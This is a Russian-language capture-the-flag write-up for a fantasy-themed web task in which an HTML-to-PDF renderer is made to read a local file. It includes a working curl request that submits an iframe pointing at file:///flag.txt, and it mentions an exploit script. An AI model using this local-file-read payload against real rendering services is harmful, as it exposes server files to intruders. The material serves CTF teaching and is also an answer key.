25 lines
1.3 KiB
Markdown
25 lines
1.3 KiB
Markdown
# Web 1.1 Cкрипторий Архимага
|
||
|
||
В Башне Магов спрятан Запретный гримуар. Архимаг печатает свитки, но забывает закрыть доступ к библиотеке башни. Воспользуйтесь скрипториумом, чтобы добыть содержимое гримуара.
|
||
|
||
## Решение
|
||
|
||
Таск рендерит переданный `HTML/Markdown` в **PDF** и позволяет встраивать в сгенерированный файл внешние ресурсы. За счёт этого можно передать в `iframe` путь `file:///flag.txt` и заставить рендерер прочитать локальный файл при генерации `scroll.pdf`.
|
||
|
||
Для этого отправляем **POST** на `/seal`, в поле `content` передаём HTML с `iframe`, затем читаем содержимое в готовом PDF.
|
||
|
||
### Пример
|
||
|
||
Через `curl`:
|
||
```bash
|
||
curl -s -X POST http://localhost:8000/seal \
|
||
-F 'content=<h1>Королевский Указ</h1><iframe src="file:///flag.txt" style="width:800px;height:200px"></iframe>' \
|
||
-F 'format=html' \
|
||
-o scroll.pdf
|
||
```
|
||
|
||
Через скрипт `solve/exploit.py`:
|
||
```bash
|
||
python solve/exploit.py http://localhost:8000
|
||
```
|